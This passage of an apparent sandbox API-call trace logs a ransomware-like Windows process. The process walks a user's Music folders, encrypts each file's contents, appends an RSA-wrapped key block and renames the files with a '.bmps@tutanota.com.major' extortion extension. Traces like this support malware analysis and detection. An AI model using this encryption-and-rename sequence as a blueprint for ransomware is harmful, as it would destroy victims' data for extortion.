Flags=0x0, Size=0x40) returned 0x5c7528 [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0156.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0156.118] GetLastError () returned 0x0 [0156.118] SetLastError (dwErrCode=0x0) [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0156.118] FindNextFileW (in: hFindFile=0x631240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58aed80, ftCreationTime.dwHighDateTime=0x1d4d3ff, ftLastAccessTime.dwLowDateTime=0xdcc0dae0, ftLastAccessTime.dwHighDateTime=0x1d4cf65, ftLastWriteTime.dwLowDateTime=0xdcc0dae0, ftLastWriteTime.dwHighDateTime=0x1d4cf65, nFileSizeHigh=0x0, nFileSizeLow=0xcc67, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="yh-hv8F_.mp3", cAlternateFileName="")) returned 0 [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.118] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.118] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\yh-hv8F_.mp3", dwFileAttributes=0x80) returned 1 [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0156.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0156.118] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\yh-hv8F_.mp3" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\yh-hv8f_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8 [0156.118] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=52327) returned 1 [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcc67) returned 0x2e60f28 [0156.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcc67) returned 0x6538b0 [0156.119] ReadFile (in: hFile=0x6c8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0xcc67, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0xcc67, lpOverlapped=0x0) returned 1 [0156.120] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=-52327, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.120] WriteFile (in: hFile=0x6c8, lpBuffer=0x6538b0*, nNumberOfBytesToWrite=0xcc67, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcc67, lpOverlapped=0x0) returned 1 [0156.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.120] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcc67 [0156.121] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.121] WriteFile (in: hFile=0x6c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.121] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.121] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.121] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.121] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="WP4qrUBSF/U8Fy7SQoB0IQCJjEiRyrTkOIGoZEMbX+jD07r4/+qk7di1KfX/dmHr\nuVFPNx86fxhurtSZ/VWwplo15XxfnSqXfv60RUw1wUBgy+7rY69kK6r4d06pAFpY\n3Nz6AL3nrLBy0PKsly6zMlAu45fx2SAFmb48H347FTLKzDHkyaqFVQiD3O9xWmZp\n6s8fmtF7w6tr15Fn+1xLNocvFkIPzw9dEbws86hGnRsydeIaSgOtnkWN83Qdm+tD\nUJpcS45TdXc6QutHxmb3pOjCozk02Uboiohh+jgaH93sxK5JTnXMd9Jn19i6P8US\nCx2VSLxhV+3zmNBRDEfQmQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.121] WriteFile (in: hFile=0x6c8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.122] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.122] WriteFile (in: hFile=0x6c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.122] CloseHandle (hObject=0x6c8) returned 1 [0156.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.122] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\yh-hv8F_.mp3" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\yh-hv8f_.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\yh-hv8F_.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\yh-hv8f_.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.127] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0156.127] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.127] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0156.127] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0156.127] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0156.127] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.127] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.127] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\gQMQhsJA5kQ1UM.mp3", dwFileAttributes=0x80) returned 1 [0156.127] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0156.127] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0156.127] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0156.127] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\gQMQhsJA5kQ1UM.mp3" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\gqmqhsja5kq1um.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8 [0156.128] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=86061) returned 1 [0156.128] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1502d) returned 0x6538b0 [0156.128] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1502d) returned 0x2e60f28 [0156.128] ReadFile (in: hFile=0x6c8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x1502d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1502d, lpOverlapped=0x0) returned 1 [0156.130] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=-86061, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.130] WriteFile (in: hFile=0x6c8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x1502d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1502d, lpOverlapped=0x0) returned 1 [0156.131] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.131] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.131] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1502d [0156.131] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.131] WriteFile (in: hFile=0x6c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.131] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.131] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.132] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="dK/nhJgYD+HkjLo547qFB6oozZaPVIHeQxFGe0wXTfzoizRrS+dEYh+sVw5PBf4D\n2JzDTNj0qdP8ER+v2B2kXT9SHHMShTZ2+d2uO+Vw/SV+d9WcXWr9N3yLOPUrTDSl\n2Fy+p+UG+0AKlJIkalnjK5E34n1tzk3Zt0A763oaC53jUVJVI/ZFSB1l6zQ1Rm3d\n285MHfA3y8SvdF9gPAJqNyZQpsS3yBnb3CmiYWXsIiXop1/gPiesJHUIkwjQEU29\nKLT7BuaCqXliVV55Wu6q+6Eh2HxViewmO7NzyB5+QTJMPnK6w347Afzda5r78mKM\nENwajNYZze7/ZGI+K4hVVw==\n", pcchString=0x2e3f9a8) returned 1 [0156.132] WriteFile (in: hFile=0x6c8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.132] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.132] WriteFile (in: hFile=0x6c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.132] CloseHandle (hObject=0x6c8) returned 1 [0156.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.132] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\gQMQhsJA5kQ1UM.mp3" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\gqmqhsja5kq1um.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\gQMQhsJA5kQ1UM.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\gqmqhsja5kq1um.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0156.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.134] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.134] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\BvhuPrvJCAhvBb.m4a", dwFileAttributes=0x80) returned 1 [0156.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0156.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0156.134] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\BvhuPrvJCAhvBb.m4a" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\bvhuprvjcahvbb.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8 [0156.134] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8787) returned 1 [0156.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2253) returned 0x6538b0 [0156.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2253) returned 0x655b10 [0156.134] ReadFile (in: hFile=0x6c8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2253, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2253, lpOverlapped=0x0) returned 1 [0156.135] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=-8787, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.135] WriteFile (in: hFile=0x6c8, lpBuffer=0x655b10*, nNumberOfBytesToWrite=0x2253, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x655b10*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2253, lpOverlapped=0x0) returned 1 [0156.135] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2253 [0156.135] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.135] WriteFile (in: hFile=0x6c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.135] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.136] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="kLQZ6j7n9AfQIk9+UfKxWHjRsIBDShE0iUFIxC89uK3GHxfb1QnJM1kFgdgRh/LS\n4E7QXqlXL02azAAI+J+gaObcrnGBUebyhps5FIcnWairP1xfh/3uxqjuxeFPiJbO\nLe4PqaNh5HvmMr9NFWt9jDxNEevkUx9jkisVFYuOFOTg5NRpWxETKZqRpqbq5+hl\noQTbeqDNJvuxu3rRJ+OoeMuk00al9miB63E0rh6myM2aAKjQr0cmKprAJJ0NNUGe\nZcwmujAtVW+NT2Aoonx/PQUtaWgXTN6Zkdu0ZyXrx9qi8EO3wuRKQ0Tza+RR9mig\nOj4zRrSmM7Zoknp4LzLpCA==\n", pcchString=0x2e3f9a8) returned 1 [0156.136] WriteFile (in: hFile=0x6c8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.136] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.136] WriteFile (in: hFile=0x6c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.136] CloseHandle (hObject=0x6c8) returned 1 [0156.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.136] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\BvhuPrvJCAhvBb.m4a" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\bvhuprvjcahvbb.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\BvhuPrvJCAhvBb.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\cjceotnu\\bvhuprvjcahvbb.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0156.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0156.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0156.137] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0156.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0156.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0156.137] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaf8 | out: hHeap=0x570000) returned 1 [0156.137] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49d23e40, ftCreationTime.dwHighDateTime=0x1d4ce39, ftLastAccessTime.dwLowDateTime=0x61b8f030, ftLastAccessTime.dwHighDateTime=0x1d4ce07, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631200 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0156.138] GetLastError () returned 0x0 [0156.138] SetLastError (dwErrCode=0x0) [0156.138] GetLastError () returned 0x0 [0156.138] SetLastError (dwErrCode=0x0) [0156.138] GetLastError () returned 0x0 [0156.138] SetLastError (dwErrCode=0x0) [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6314c0 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6314c0 | out: hHeap=0x570000) returned 1 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.138] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49d23e40, ftCreationTime.dwHighDateTime=0x1d4ce39, ftLastAccessTime.dwLowDateTime=0x61b8f030, ftLastAccessTime.dwHighDateTime=0x1d4ce07, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0156.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0156.138] GetLastError () returned 0x0 [0156.138] SetLastError (dwErrCode=0x0) [0156.138] GetLastError () returned 0x0 [0156.138] SetLastError (dwErrCode=0x0) [0156.138] GetLastError () returned 0x0 [0156.138] SetLastError (dwErrCode=0x0) [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631540 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631540 | out: hHeap=0x570000) returned 1 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.139] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x267cd1e0, ftCreationTime.dwHighDateTime=0x1d4c92e, ftLastAccessTime.dwLowDateTime=0x7934e8e0, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0x7934e8e0, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0xdb78, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1xLqe.m4a", cAlternateFileName="")) returned 1 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0156.139] GetLastError () returned 0x0 [0156.139] SetLastError (dwErrCode=0x0) [0156.139] GetLastError () returned 0x0 [0156.139] SetLastError (dwErrCode=0x0) [0156.139] GetLastError () returned 0x0 [0156.139] SetLastError (dwErrCode=0x0) [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.139] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.139] FindNextFileW (in: hFindFile=0x631200, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd79c1d20, ftCreationTime.dwHighDateTime=0x1d4d084, ftLastAccessTime.dwLowDateTime=0x6d844130, ftLastAccessTime.dwHighDateTime=0x1d4d352, ftLastWriteTime.dwLowDateTime=0x6d844130, ftLastWriteTime.dwHighDateTime=0x1d4d352, nFileSizeHigh=0x0, 